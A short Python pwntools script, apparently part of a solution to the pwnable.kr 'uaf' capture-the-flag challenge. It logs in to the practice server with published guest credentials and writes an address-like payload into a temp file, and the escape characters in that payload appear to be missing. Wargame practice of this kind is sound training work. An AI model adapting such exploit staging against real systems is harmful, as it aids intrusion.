from pwn import *
sh = ssh(host = 'pwnable.kr', user='uaf', password='guest', port=2222)
print sh.run_to_end('mkdir /tmp/hhhhhh')
print sh.process(['python', '-c', 'print "x68x15x40"'], stdout = '/tmp/hhhhhh/aaa').recvall()